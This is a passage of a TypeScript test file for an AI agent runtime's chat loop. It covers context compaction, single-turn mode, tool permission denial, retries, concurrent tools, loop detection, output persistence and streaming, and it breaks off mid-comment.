// than 0.85 * 200 = 170 tokens at char/4 heuristic, so the budget
|
|
630
|
-
// trips on turn 1 and snip fires.
|
|
631
|
-
//
|
|
632
|
-
// We use a small contextLimit + matching threshold so we don't
|
|
633
|
-
// need to fabricate ~170k chars of input.
|
|
634
|
-
const longUser = "a".repeat(800); // ~200 estimated tokens
|
|
635
|
-
const input = new PassThrough();
|
|
636
|
-
input.write(`${longUser}\n`);
|
|
637
|
-
input.end();
|
|
638
|
-
|
|
639
|
-
const { adapter, capturedStreamMessages } = makeFullClient([
|
|
640
|
-
[{ type: "text", text: "ok", citations: null } as Anthropic.TextBlock],
|
|
641
|
-
]);
|
|
642
|
-
|
|
643
|
-
await runChatLoop({
|
|
644
|
-
model: "test-model",
|
|
645
|
-
instructions: "test",
|
|
646
|
-
_adapter: adapter,
|
|
647
|
-
input,
|
|
648
|
-
contextLimit: 200,
|
|
649
|
-
compactionThreshold: 0.85,
|
|
650
|
-
snipKeepHead: 0,
|
|
651
|
-
snipKeepTail: 0,
|
|
652
|
-
});
|
|
653
|
-
|
|
654
|
-
// The model should still have been called, but the messages it saw
|
|
655
|
-
// include the snip marker (the snipped path runs even though it
|
|
656
|
-
// collapses to a single marker for keepHead/keepTail = 0/0).
|
|
657
|
-
const sentToModel = capturedStreamMessages()[0] ?? [];
|
|
658
|
-
const containsMarker = sentToModel.some(
|
|
659
|
-
(m) => typeof m.content === "string" && m.content.includes("[Context compacted:"),
|
|
660
|
-
);
|
|
661
|
-
expect(containsMarker).toBe(true);
|
|
662
|
-
});
|
|
663
|
-
|
|
664
|
-
test("falls back to autocompact when snip alone does not free enough", async () => {
|
|
665
|
-
// contextLimit = 100. After snip with keepHead=1/keepTail=1, we
|
|
666
|
-
// keep both message ends (each big), so usage stays >85% and the
|
|
667
|
-
// autocompact path triggers.
|
|
668
|
-
const big = "x".repeat(800); // ~200 tokens estimate
|
|
669
|
-
const input = new PassThrough();
|
|
670
|
-
input.write(`${big}\n`);
|
|
671
|
-
input.end();
|
|
672
|
-
|
|
673
|
-
const { adapter, createCount, capturedStreamMessages } = makeFullClient([
|
|
674
|
-
[{ type: "text", text: "ok", citations: null } as Anthropic.TextBlock],
|
|
675
|
-
]);
|
|
676
|
-
|
|
677
|
-
await runChatLoop({
|
|
678
|
-
model: "test-model",
|
|
679
|
-
instructions: "test",
|
|
680
|
-
_adapter: adapter,
|
|
681
|
-
input,
|
|
682
|
-
contextLimit: 100,
|
|
683
|
-
compactionThreshold: 0.85,
|
|
684
|
-
snipKeepHead: 1,
|
|
685
|
-
snipKeepTail: 1,
|
|
686
|
-
});
|
|
687
|
-
|
|
688
|
-
expect(createCount()).toBe(1);
|
|
689
|
-
const sentToModel = capturedStreamMessages()[0] ?? [];
|
|
690
|
-
// After autocompact the history is the [marker, summary] pair.
|
|
691
|
-
const hasMarker = sentToModel.some(
|
|
692
|
-
(m) => typeof m.content === "string" && m.content.includes("Previous conversation summary"),
|
|
693
|
-
);
|
|
694
|
-
const hasSummary = sentToModel.some(
|
|
695
|
-
(m) => typeof m.content === "string" && m.content.includes("compacted summary"),
|
|
696
|
-
);
|
|
697
|
-
expect(hasMarker).toBe(true);
|
|
698
|
-
expect(hasSummary).toBe(true);
|
|
699
|
-
});
|
|
700
|
-
|
|
701
|
-
test("skips compaction entirely when budget is below threshold", async () => {
|
|
702
|
-
const input = new PassThrough();
|
|
703
|
-
input.write("hello\n"); // ~2 tokens
|
|
704
|
-
input.end();
|
|
705
|
-
|
|
706
|
-
const { adapter, createCount, capturedStreamMessages } = makeFullClient([
|
|
707
|
-
[{ type: "text", text: "hi back", citations: null } as Anthropic.TextBlock],
|
|
708
|
-
]);
|
|
709
|
-
|
|
710
|
-
await runChatLoop({
|
|
711
|
-
model: "test-model",
|
|
712
|
-
instructions: "test",
|
|
713
|
-
_adapter: adapter,
|
|
714
|
-
input,
|
|
715
|
-
contextLimit: 200_000,
|
|
716
|
-
});
|
|
717
|
-
|
|
718
|
-
expect(createCount()).toBe(0);
|
|
719
|
-
const sentToModel = capturedStreamMessages()[0] ?? [];
|
|
720
|
-
const containsMarker = sentToModel.some(
|
|
721
|
-
(m) => typeof m.content === "string" && m.content.includes("[Context compacted:"),
|
|
722
|
-
);
|
|
723
|
-
expect(containsMarker).toBe(false);
|
|
724
|
-
});
|
|
725
|
-
});
|
|
726
|
-
|
|
727
|
-
describe("runChatLoop singleTurn mode", () => {
|
|
728
|
-
test("returns the terminal assistant text and does not read stdin", async () => {
|
|
729
|
-
const { adapter, callCount } = makeScriptedClient([
|
|
730
|
-
[{ type: "text", text: "hello from step", citations: null } as Anthropic.TextBlock],
|
|
731
|
-
]);
|
|
732
|
-
|
|
733
|
-
// PassThrough that we never end and never write to: if singleTurn read
|
|
734
|
-
// from it the call would hang and time out the test.
|
|
735
|
-
const input = new PassThrough();
|
|
736
|
-
|
|
737
|
-
const result = await runChatLoop({
|
|
738
|
-
model: "test-model",
|
|
739
|
-
instructions: "test",
|
|
740
|
-
_adapter: adapter,
|
|
741
|
-
input,
|
|
742
|
-
singleTurn: true,
|
|
743
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
744
|
-
});
|
|
745
|
-
|
|
746
|
-
expect(result).toBe("hello from step");
|
|
747
|
-
expect(callCount()).toBe(1);
|
|
748
|
-
// Stream should not have been touched.
|
|
749
|
-
expect(input.readableEnded).toBe(false);
|
|
750
|
-
});
|
|
751
|
-
|
|
752
|
-
test("executes tool_use blocks and returns the post-tool assistant text", async () => {
|
|
753
|
-
const toolCalls: unknown[] = [];
|
|
754
|
-
const echoTool = buildTool({
|
|
755
|
-
name: "echo",
|
|
756
|
-
description: "echoes",
|
|
757
|
-
inputSchema: z.object({ msg: z.string() }),
|
|
758
|
-
execute: async (input) => {
|
|
759
|
-
toolCalls.push(input);
|
|
760
|
-
return `echoed: ${input.msg}`;
|
|
761
|
-
},
|
|
762
|
-
});
|
|
763
|
-
|
|
764
|
-
const { adapter, callCount } = makeScriptedClient([
|
|
765
|
-
[
|
|
766
|
-
{
|
|
767
|
-
type: "tool_use",
|
|
768
|
-
id: "tu_1",
|
|
769
|
-
name: "echo",
|
|
770
|
-
input: { msg: "hi" },
|
|
771
|
-
} as Anthropic.ToolUseBlock,
|
|
772
|
-
],
|
|
773
|
-
[{ type: "text", text: "after tool", citations: null } as Anthropic.TextBlock],
|
|
774
|
-
]);
|
|
775
|
-
|
|
776
|
-
const result = await runChatLoop({
|
|
777
|
-
model: "test-model",
|
|
778
|
-
instructions: "test",
|
|
779
|
-
_adapter: adapter,
|
|
780
|
-
singleTurn: true,
|
|
781
|
-
seedMessages: [{ role: "user", content: "please echo" }],
|
|
782
|
-
tools: [echoTool],
|
|
783
|
-
permissionMode: "bypass",
|
|
784
|
-
});
|
|
785
|
-
|
|
786
|
-
expect(result).toBe("after tool");
|
|
787
|
-
expect(callCount()).toBe(2);
|
|
788
|
-
expect(toolCalls).toEqual([{ msg: "hi" }]);
|
|
789
|
-
});
|
|
790
|
-
|
|
791
|
-
test("returns empty string when terminal assistant has no text blocks", async () => {
|
|
792
|
-
// Edge case: model returns only a tool_use, then on the follow-up returns
|
|
793
|
-
// nothing text-like (e.g. another tool_use that we treat as text-Done by
|
|
794
|
-
// simulating with an empty content array on the second turn). The state
|
|
795
|
-
// machine would not actually allow that in production, so use a single
|
|
796
|
-
// empty-text turn to model "no text content".
|
|
797
|
-
const { adapter } = makeScriptedClient([
|
|
798
|
-
[{ type: "text", text: "", citations: null } as Anthropic.TextBlock],
|
|
799
|
-
]);
|
|
800
|
-
|
|
801
|
-
const result = await runChatLoop({
|
|
802
|
-
model: "test-model",
|
|
803
|
-
instructions: "test",
|
|
804
|
-
_adapter: adapter,
|
|
805
|
-
singleTurn: true,
|
|
806
|
-
seedMessages: [{ role: "user", content: "anything" }],
|
|
807
|
-
});
|
|
808
|
-
|
|
809
|
-
expect(result).toBe("");
|
|
810
|
-
});
|
|
811
|
-
|
|
812
|
-
test("permission policy denies a tool in default mode and writes a denial tool_result", async () => {
|
|
813
|
-
const echoTool = buildTool({
|
|
814
|
-
name: "echo",
|
|
815
|
-
description: "echoes",
|
|
816
|
-
inputSchema: z.object({ msg: z.string() }),
|
|
817
|
-
execute: async (input) => `echoed: ${input.msg}`,
|
|
818
|
-
});
|
|
819
|
-
|
|
820
|
-
const { adapter, callCount, capturedMessages } = makeScriptedClient([
|
|
821
|
-
[
|
|
822
|
-
{
|
|
823
|
-
type: "tool_use",
|
|
824
|
-
id: "tu_d",
|
|
825
|
-
name: "echo",
|
|
826
|
-
input: { msg: "hi" },
|
|
827
|
-
} as Anthropic.ToolUseBlock,
|
|
828
|
-
],
|
|
829
|
-
[{ type: "text", text: "ack denied", citations: null } as Anthropic.TextBlock],
|
|
830
|
-
]);
|
|
831
|
-
|
|
832
|
-
// single-turn: no rl, so any "ask" decision falls through to deny.
|
|
833
|
-
// default mode + empty rule set → ask → deny in single-turn mode.
|
|
834
|
-
await runChatLoop({
|
|
835
|
-
model: "test-model",
|
|
836
|
-
instructions: "test",
|
|
837
|
-
_adapter: adapter,
|
|
838
|
-
singleTurn: true,
|
|
839
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
840
|
-
tools: [echoTool],
|
|
841
|
-
permissionMode: "default",
|
|
842
|
-
});
|
|
843
|
-
|
|
844
|
-
expect(callCount()).toBe(2);
|
|
845
|
-
const secondCall = capturedMessages()[1] ?? [];
|
|
846
|
-
const blocks = (secondCall[secondCall.length - 1]?.content ??
|
|
847
|
-
[]) as Anthropic.ToolResultBlockParam[];
|
|
848
|
-
expect(blocks[0]?.is_error).toBe(true);
|
|
849
|
-
expect(String(blocks[0]?.content)).toMatch(/tool denied/);
|
|
850
|
-
});
|
|
851
|
-
|
|
852
|
-
test("permission policy in plan mode denies any non-readOnly tool", async () => {
|
|
853
|
-
const writeTool = buildTool({
|
|
854
|
-
name: "write",
|
|
855
|
-
description: "writes",
|
|
856
|
-
inputSchema: z.object({ path: z.string() }),
|
|
857
|
-
destructive: true,
|
|
858
|
-
execute: async () => "wrote",
|
|
859
|
-
});
|
|
860
|
-
|
|
861
|
-
const { adapter, capturedMessages } = makeScriptedClient([
|
|
862
|
-
[
|
|
863
|
-
{
|
|
864
|
-
type: "tool_use",
|
|
865
|
-
id: "tu_w",
|
|
866
|
-
name: "write",
|
|
867
|
-
input: { path: "/tmp/x" },
|
|
868
|
-
} as Anthropic.ToolUseBlock,
|
|
869
|
-
],
|
|
870
|
-
[{ type: "text", text: "ok", citations: null } as Anthropic.TextBlock],
|
|
871
|
-
]);
|
|
872
|
-
|
|
873
|
-
await runChatLoop({
|
|
874
|
-
model: "test-model",
|
|
875
|
-
instructions: "test",
|
|
876
|
-
_adapter: adapter,
|
|
877
|
-
singleTurn: true,
|
|
878
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
879
|
-
tools: [writeTool],
|
|
880
|
-
permissionMode: "plan",
|
|
881
|
-
});
|
|
882
|
-
|
|
883
|
-
const secondCall = capturedMessages()[1] ?? [];
|
|
884
|
-
const blocks = (secondCall[secondCall.length - 1]?.content ??
|
|
885
|
-
[]) as Anthropic.ToolResultBlockParam[];
|
|
886
|
-
expect(blocks[0]?.is_error).toBe(true);
|
|
887
|
-
expect(String(blocks[0]?.content)).toMatch(/tool denied/);
|
|
888
|
-
});
|
|
889
|
-
|
|
890
|
-
test("recovery: 5xx from the stream triggers retry, then succeeds on the next attempt", async () => {
|
|
891
|
-
let attempt = 0;
|
|
892
|
-
const adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
893
|
-
providerId: "anthropic",
|
|
894
|
-
features: {
|
|
895
|
-
caching: "explicit",
|
|
896
|
-
tool_use: true,
|
|
897
|
-
vision: true,
|
|
898
|
-
thinking: true,
|
|
899
|
-
web_search: true,
|
|
900
|
-
},
|
|
901
|
-
estimateTokens: () => 0,
|
|
902
|
-
stream: () => {
|
|
903
|
-
attempt++;
|
|
904
|
-
const myAttempt = attempt;
|
|
905
|
-
return (async function* () {
|
|
906
|
-
if (myAttempt === 1) {
|
|
907
|
-
throw {
|
|
908
|
-
name: "APIError",
|
|
909
|
-
status: 503,
|
|
910
|
-
error: { type: "api_error", message: "service unavailable" },
|
|
911
|
-
message: "503 Service Unavailable",
|
|
912
|
-
};
|
|
913
|
-
}
|
|
914
|
-
yield { kind: "message_start" } as const;
|
|
915
|
-
yield {
|
|
916
|
-
kind: "content_block_start",
|
|
917
|
-
index: 0,
|
|
918
|
-
block: { type: "text", text: "" },
|
|
919
|
-
} as const;
|
|
920
|
-
yield {
|
|
921
|
-
kind: "content_block_delta",
|
|
922
|
-
index: 0,
|
|
923
|
-
delta: { type: "text_delta", text: "ok after retry" },
|
|
924
|
-
} as const;
|
|
925
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
926
|
-
yield { kind: "message_delta", stopReason: "end_turn" } as const;
|
|
927
|
-
yield { kind: "message_stop" } as const;
|
|
928
|
-
})();
|
|
929
|
-
},
|
|
930
|
-
};
|
|
931
|
-
|
|
932
|
-
const result = await runChatLoop({
|
|
933
|
-
model: "test-model",
|
|
934
|
-
instructions: "test",
|
|
935
|
-
_adapter: adapter,
|
|
936
|
-
singleTurn: true,
|
|
937
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
938
|
-
permissionMode: "bypass",
|
|
939
|
-
});
|
|
940
|
-
|
|
941
|
-
expect(attempt).toBe(2); // first call failed, second succeeded
|
|
942
|
-
expect(result).toBe("ok after retry");
|
|
943
|
-
});
|
|
944
|
-
|
|
945
|
-
test("throws RuntimeError when seedMessages is missing or does not end with role:user", async () => {
|
|
946
|
-
const { adapter } = makeStubAdapter();
|
|
947
|
-
|
|
948
|
-
await expect(
|
|
949
|
-
runChatLoop({
|
|
950
|
-
model: "test-model",
|
|
951
|
-
instructions: "test",
|
|
952
|
-
_adapter: adapter,
|
|
953
|
-
singleTurn: true,
|
|
954
|
-
seedMessages: [],
|
|
955
|
-
}),
|
|
956
|
-
).rejects.toThrow(/seedMessages.*role.*user/);
|
|
957
|
-
|
|
958
|
-
await expect(
|
|
959
|
-
runChatLoop({
|
|
960
|
-
model: "test-model",
|
|
961
|
-
instructions: "test",
|
|
962
|
-
_adapter: adapter,
|
|
963
|
-
singleTurn: true,
|
|
964
|
-
seedMessages: [{ role: "assistant", content: "wrong end" }],
|
|
965
|
-
}),
|
|
966
|
-
).rejects.toThrow(/seedMessages.*role.*user/);
|
|
967
|
-
|
|
968
|
-
await expect(
|
|
969
|
-
runChatLoop({
|
|
970
|
-
model: "test-model",
|
|
971
|
-
instructions: "test",
|
|
972
|
-
_adapter: adapter,
|
|
973
|
-
singleTurn: true,
|
|
974
|
-
}),
|
|
975
|
-
).rejects.toThrow(/seedMessages.*role.*user/);
|
|
976
|
-
});
|
|
977
|
-
});
|
|
978
|
-
|
|
979
|
-
// --- Section 8 integration: orchestrator, loop-detect, result-store, streaming ---
|
|
980
|
-
|
|
981
|
-
describe("runChatLoop — Section 8 orchestrator", () => {
|
|
982
|
-
test("two read-only tool calls execute concurrently in one turn", async () => {
|
|
983
|
-
const startedAt: number[] = [];
|
|
984
|
-
const finishedAt: number[] = [];
|
|
985
|
-
const slowRead = buildTool({
|
|
986
|
-
name: "Read",
|
|
987
|
-
description: "slow",
|
|
988
|
-
inputSchema: z.object({ id: z.string() }),
|
|
989
|
-
readOnly: true,
|
|
990
|
-
concurrencySafe: true,
|
|
991
|
-
execute: async (input) => {
|
|
992
|
-
startedAt.push(Date.now());
|
|
993
|
-
await new Promise((r) => setTimeout(r, 60));
|
|
994
|
-
finishedAt.push(Date.now());
|
|
995
|
-
return `read:${input.id}`;
|
|
996
|
-
},
|
|
997
|
-
});
|
|
998
|
-
|
|
999
|
-
const { adapter, callCount } = makeScriptedClient([
|
|
1000
|
-
[
|
|
1001
|
-
{
|
|
1002
|
-
type: "tool_use",
|
|
1003
|
-
id: "tu_a",
|
|
1004
|
-
name: "Read",
|
|
1005
|
-
input: { id: "a" },
|
|
1006
|
-
} as Anthropic.ToolUseBlock,
|
|
1007
|
-
{
|
|
1008
|
-
type: "tool_use",
|
|
1009
|
-
id: "tu_b",
|
|
1010
|
-
name: "Read",
|
|
1011
|
-
input: { id: "b" },
|
|
1012
|
-
} as Anthropic.ToolUseBlock,
|
|
1013
|
-
],
|
|
1014
|
-
[{ type: "text", text: "done", citations: null } as Anthropic.TextBlock],
|
|
1015
|
-
]);
|
|
1016
|
-
|
|
1017
|
-
const input = new PassThrough();
|
|
1018
|
-
input.write("read both\n");
|
|
1019
|
-
input.end();
|
|
1020
|
-
|
|
1021
|
-
const t0 = Date.now();
|
|
1022
|
-
await runChatLoop({
|
|
1023
|
-
model: "test-model",
|
|
1024
|
-
instructions: "test",
|
|
1025
|
-
_adapter: adapter,
|
|
1026
|
-
input,
|
|
1027
|
-
tools: [slowRead],
|
|
1028
|
-
permissionMode: "bypass",
|
|
1029
|
-
});
|
|
1030
|
-
const elapsed = Date.now() - t0;
|
|
1031
|
-
|
|
1032
|
-
expect(callCount()).toBe(2);
|
|
1033
|
-
// Two 60ms tools running in parallel finish in ~60ms total, not 120ms.
|
|
1034
|
-
expect(elapsed).toBeLessThan(105);
|
|
1035
|
-
// Both starts come before either finish.
|
|
1036
|
-
expect(startedAt.length).toBe(2);
|
|
1037
|
-
expect(finishedAt.length).toBe(2);
|
|
1038
|
-
expect(Math.max(...startedAt)).toBeLessThan(Math.min(...finishedAt));
|
|
1039
|
-
});
|
|
1040
|
-
});
|
|
1041
|
-
|
|
1042
|
-
describe("runChatLoop — Section 8 loop detection", () => {
|
|
1043
|
-
test("warns when the same tool call repeats >= threshold and stops re-warning", async () => {
|
|
1044
|
-
const dateTool = buildTool({
|
|
1045
|
-
name: "Bash",
|
|
1046
|
-
description: "bash",
|
|
1047
|
-
inputSchema: z.object({ command: z.string() }),
|
|
1048
|
-
destructive: true,
|
|
1049
|
-
execute: async (input) => `ran:${input.command}`,
|
|
1050
|
-
});
|
|
1051
|
-
|
|
1052
|
-
// Three identical Bash calls in a row should trigger a loop warning.
|
|
1053
|
-
// Then a final text turn ends the loop.
|
|
1054
|
-
const sameCall = (id: string): Anthropic.ToolUseBlock =>
|
|
1055
|
-
({
|
|
1056
|
-
type: "tool_use",
|
|
1057
|
-
id,
|
|
1058
|
-
name: "Bash",
|
|
1059
|
-
input: { command: "date" },
|
|
1060
|
-
}) as Anthropic.ToolUseBlock;
|
|
1061
|
-
const { adapter, capturedMessages } = makeScriptedClient([
|
|
1062
|
-
[sameCall("tu_1")],
|
|
1063
|
-
[sameCall("tu_2")],
|
|
1064
|
-
[sameCall("tu_3")],
|
|
1065
|
-
[{ type: "text", text: "stopping", citations: null } as Anthropic.TextBlock],
|
|
1066
|
-
]);
|
|
1067
|
-
|
|
1068
|
-
const input = new PassThrough();
|
|
1069
|
-
input.write("loop\n");
|
|
1070
|
-
input.end();
|
|
1071
|
-
|
|
1072
|
-
await runChatLoop({
|
|
1073
|
-
model: "test-model",
|
|
1074
|
-
instructions: "test",
|
|
1075
|
-
_adapter: adapter,
|
|
1076
|
-
input,
|
|
1077
|
-
tools: [dateTool],
|
|
1078
|
-
permissionMode: "bypass",
|
|
1079
|
-
});
|
|
1080
|
-
|
|
1081
|
-
// The 4th call's request body should contain a `[runtime] possible loop`
|
|
1082
|
-
// user message somewhere in `messages`.
|
|
1083
|
-
const fourthCall = capturedMessages()[3] ?? [];
|
|
1084
|
-
const sawWarning = fourthCall.some(
|
|
1085
|
-
(m) =>
|
|
1086
|
-
m.role === "user" &&
|
|
1087
|
-
typeof m.content === "string" &&
|
|
1088
|
-
m.content.includes("[runtime] possible loop detected"),
|
|
1089
|
-
);
|
|
1090
|
-
expect(sawWarning).toBe(true);
|
|
1091
|
-
});
|
|
1092
|
-
});
|
|
1093
|
-
|
|
1094
|
-
describe("runChatLoop — Section 8 result store", () => {
|
|
1095
|
-
test("large tool output is persisted and replaced with a preview marker", async () => {
|
|
1096
|
-
const { mkdtempSync, rmSync, statSync } = await import("node:fs");
|
|
1097
|
-
const { tmpdir } = await import("node:os");
|
|
1098
|
-
const { join } = await import("node:path");
|
|
1099
|
-
const tmpRoot = mkdtempSync(join(tmpdir(), "crewhaus-runtime-store-"));
|
|
1100
|
-
const oldCwd = process.cwd();
|
|
1101
|
-
process.chdir(tmpRoot);
|
|
1102
|
-
|
|
1103
|
-
try {
|
|
1104
|
-
// Tool that returns >10KB of multi-line output. Make 250 lines of
|
|
1105
|
-
// 50 chars each (≈12.7KB) so the first-100-lines preview is shorter
|
|
1106
|
-
// than the full payload.
|
|
1107
|
-
const bigPayload = Array.from(
|
|
1108
|
-
{ length: 250 },
|
|
1109
|
-
(_, i) => `line ${i.toString().padEnd(50, " ")}`,
|
|
1110
|
-
).join("\n");
|
|
1111
|
-
const bigTool = buildTool({
|
|
1112
|
-
name: "BigRead",
|
|
1113
|
-
description: "produces a large string",
|
|
1114
|
-
inputSchema: z.object({}),
|
|
1115
|
-
readOnly: true,
|
|
1116
|
-
execute: async () => bigPayload,
|
|
1117
|
-
});
|
|
1118
|
-
|
|
1119
|
-
const { adapter, capturedMessages } = makeScriptedClient([
|
|
1120
|
-
[{ type: "tool_use", id: "tu_big", name: "BigRead", input: {} } as Anthropic.ToolUseBlock],
|
|
1121
|
-
[{ type: "text", text: "done", citations: null } as Anthropic.TextBlock],
|
|
1122
|
-
]);
|
|
1123
|
-
|
|
1124
|
-
const input = new PassThrough();
|
|
1125
|
-
input.write("go\n");
|
|
1126
|
-
input.end();
|
|
1127
|
-
|
|
1128
|
-
await runChatLoop({
|
|
1129
|
-
model: "test-model",
|
|
1130
|
-
instructions: "test",
|
|
1131
|
-
_adapter: adapter,
|
|
1132
|
-
input,
|
|
1133
|
-
tools: [bigTool],
|
|
1134
|
-
permissionMode: "bypass",
|
|
1135
|
-
});
|
|
1136
|
-
|
|
1137
|
-
// The 2nd call's tool_result content must be a preview, not the full payload.
|
|
1138
|
-
const secondCall = capturedMessages()[1] ?? [];
|
|
1139
|
-
const userMsg = secondCall.find((m) => m.role === "user" && Array.isArray(m.content));
|
|
1140
|
-
const content = (userMsg?.content as Anthropic.ToolResultBlockParam[])[0]?.content;
|
|
1141
|
-
const preview = typeof content === "string" ? content : "";
|
|
1142
|
-
expect(preview.length).toBeLessThan(bigPayload.length);
|
|
1143
|
-
expect(preview).toContain("[truncated, full output at ");
|
|
1144
|
-
expect(preview).toContain(".crewhaus/tool-results/");
|
|
1145
|
-
|
|
1146
|
-
// The corresponding file exists with the full payload on disk.
|
|
1147
|
-
const match = preview.match(/full output at (.+?)\]$/);
|
|
1148
|
-
expect(match).not.toBeNull();
|
|
1149
|
-
const fullPath = match?.[1] ?? "";
|
|
1150
|
-
expect(statSync(fullPath).size).toBe(bigPayload.length);
|
|
1151
|
-
} finally {
|
|
1152
|
-
process.chdir(oldCwd);
|
|
1153
|
-
rmSync(tmpRoot, { recursive: true, force: true });
|
|
1154
|
-
}
|
|
1155
|
-
});
|
|
1156
|
-
});
|
|
1157
|
-
|
|
1158
|
-
describe("runChatLoop — Section 8 streaming flag", () => {
|
|
1159
|
-
test("streaming: true dispatches tools mid-stream and round-trips results", async () => {
|
|
1160
|
-
const events: { id: string; phase: "started" | "finished" }[] = [];
|
|
1161
|
-
const tool = buildTool({
|
|
1162
|
-
name: "Read",
|
|
1163
|
-
description: "fake",
|
|
1164
|
-
inputSchema: z.object({ id: z.string() }),
|
|
1165
|
-
readOnly: true,
|
|
1166
|
-
concurrencySafe: true,
|
|
1167
|
-
execute: async (input) => {
|
|
1168
|
-
events.push({ id: input.id, phase: "started" });
|
|
1169
|
-
events.push({ id: input.id, phase: "finished" });
|
|
1170
|
-
return `read:${input.id}`;
|
|
1171
|
-
},
|
|
1172
|
-
});
|
|
1173
|
-
|
|
1174
|
-
// Section 17 — adapter that yields tool_use blocks via the
|
|
1175
|
-
// canonical StreamEvent shape on the first call, text on the
|
|
1176
|
-
// second. The runtime's streaming-tool-executor consumes these and
|
|
1177
|
-
// dispatches each tool_use as soon as content_block_stop fires.
|
|
1178
|
-
const blocks1 = [
|
|
1179
|
-
{ type: "tool_use", id: "tu_1", name: "Read", input: { id: "1" } } as Anthropic.ToolUseBlock,
|
|
1180
|
-
{ type: "tool_use", id: "tu_2", name: "Read", input: { id: "2" } } as Anthropic.ToolUseBlock,
|
|
1181
|
-
];
|
|
1182
|
-
const blocks2 = [{ type: "text", text: "done", citations: null } as Anthropic.TextBlock];
|
|
1183
|
-
let streamIdx = 0;
|
|
1184
|
-
const captures: Anthropic.MessageParam[][] = [];
|
|
1185
|
-
const adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
1186
|
-
providerId: "anthropic",
|
|
1187
|
-
features: {
|
|
1188
|
-
caching: "explicit",
|
|
1189
|
-
tool_use: true,
|
|
1190
|
-
vision: true,
|
|
1191
|
-
thinking: true,
|
|
1192
|
-
web_search: true,
|
|
1193
|
-
},
|
|
1194
|
-
estimateTokens: () => 0,
|
|
1195
|
-
stream: (req) => {
|
|
1196
|
-
captures.push(req.messages.map((m) => ({ ...m })) as Anthropic.MessageParam[]);
|
|
1197
|
-
const content =
|
|
1198
|
-
streamIdx === 0
|
|
1199
|
-
? (blocks1 as Anthropic.ContentBlock[])
|
|
1200
|
-
: (blocks2 as Anthropic.ContentBlock[]);
|
|
1201
|
-
streamIdx++;
|
|
1202
|
-
const hasToolUse = content.some((b) => b.type === "tool_use");
|
|
1203
|
-
return (async function* () {
|
|
1204
|
-
yield { kind: "message_start" } as const;
|
|
1205
|
-
for (let idx = 0; idx < content.length; idx++) {
|
|
1206
|
-
const block = content[idx];
|
|
1207
|
-
if (block === undefined) continue;
|
|
1208
|
-
if (block.type === "text") {
|
|
1209
|
-
yield {
|
|
1210
|
-
kind: "content_block_start",
|
|
1211
|
-
index: idx,
|
|
1212
|
-
block: { type: "text", text: "" },
|
|
1213
|
-
} as const;
|
|
1214
|
-
yield {
|
|
1215
|
-
kind: "content_block_delta",
|
|
1216
|
-
index: idx,
|
|
1217
|
-
delta: { type: "text_delta", text: block.text },
|
|
1218
|
-
} as const;
|
|
1219
|
-
yield { kind: "content_block_stop", index: idx } as const;
|
|
1220
|
-
} else if (block.type === "tool_use") {
|
|
1221
|
-
yield {
|
|
1222
|
-
kind: "content_block_start",
|
|
1223
|
-
index: idx,
|
|
1224
|
-
block: { type: "tool_use", id: block.id, name: block.name, input: {} },
|
|
1225
|
-
} as const;
|
|
1226
|
-
yield {
|
|
1227
|
-
kind: "content_block_delta",
|
|
1228
|
-
index: idx,
|
|
1229
|
-
delta: {
|
|
1230
|
-
type: "input_json_delta",
|
|
1231
|
-
partial_json: JSON.stringify(block.input ?? {}),
|
|
1232
|
-
},
|
|
1233
|
-
} as const;
|
|
1234
|
-
yield { kind: "content_block_stop", index: idx } as const;
|
|
1235
|
-
}
|
|
1236
|
-
}
|
|
1237
|
-
yield {
|
|
1238
|
-
kind: "message_delta",
|
|
1239
|
-
stopReason: hasToolUse ? "tool_use" : "end_turn",
|
|
1240
|
-
} as const;
|
|
1241
|
-
yield { kind: "message_stop" } as const;
|
|
1242
|
-
})();
|
|
1243
|
-
},
|
|
1244
|
-
};
|
|
1245
|
-
|
|
1246
|
-
const input = new PassThrough();
|
|
1247
|
-
input.write("go\n");
|
|
1248
|
-
input.end();
|
|
1249
|
-
|
|
1250
|
-
await runChatLoop({
|
|
1251
|
-
model: "test-model",
|
|
1252
|
-
instructions: "test",
|
|
1253
|
-
_adapter: adapter,
|
|
1254
|
-
input,
|
|
1255
|
-
tools: [tool],
|
|
1256
|
-
streaming: true,
|
|
1257
|
-
permissionMode: "bypass",
|
|
1258
|
-
});
|
|
1259
|
-
|
|
1260
|
-
// Both tools ran (executions captured).
|
|
1261
|
-
const startedIds = events.filter((e) => e.phase === "started").map((e) => e.id);
|
|
1262
|
-
expect(startedIds.sort()).toEqual(["1", "2"]);
|
|
1263
|
-
|
|
1264
|
-
// The 2nd model call saw the assistant turn + tool_results in messages.
|
|
1265
|
-
const secondCall = captures[1] ?? [];
|
|
1266
|
-
const userMsg = secondCall.find((m) => m.role === "user" && Array.isArray(m.content));
|
|
1267
|
-
expect(userMsg).toBeDefined();
|
|
1268
|
-
const trBlocks = (userMsg?.content as Anthropic.ToolResultBlockParam[]) ?? [];
|
|
1269
|
-
expect(trBlocks.map((b) => b.tool_use_id).sort()).toEqual(["tu_1", "tu_2"]);
|
|
1270
|
-
});
|
|
1271
|
-
});
|
|
1272
|
-
|
|
1273
|
-
// ---------------------------------------------------------------------------
|
|
1274
|
-
// Section 10 — runChatLoop --resume + persistence integration
|
|
1275
|
-
// ---------------------------------------------------------------------------
|
|
1276
|
-
|
|
1277
|
-
describe("runChatLoop — Section 10 persistence", () => {
|
|
1278
|
-
test("session JSON is persisted with lastTurnIndex on REPL exit", async () => {
|
|
1279
|
-
const ctx = createRunContext();
|
|
1280
|
-
const { adapter } = makeScriptedClient([
|
|
1281
|
-
[{ type: "text", text: "ack", citations: null } as Anthropic.TextBlock],
|
|
1282
|
-
]);
|
|
1283
|
-
const input = new PassThrough();
|
|
1284
|
-
input.write("hello\n");
|
|
1285
|
-
input.end();
|
|
1286
|
-
|
|
1287
|
-
await runChatLoop({
|
|
1288
|
-
model: "test-model",
|
|
1289
|
-
instructions: "test",
|
|
1290
|
-
_adapter: adapter,
|
|
1291
|
-
input,
|
|
1292
|
-
runContext: ctx,
|
|
1293
|
-
sessionName: "spec-name",
|
|
1294
|
-
sessionTarget: "cli",
|
|
1295
|
-
});
|
|
1296
|
-
|
|
1297
|
-
// Session metadata file exists with the expected shape and the
|
|
1298
|
-
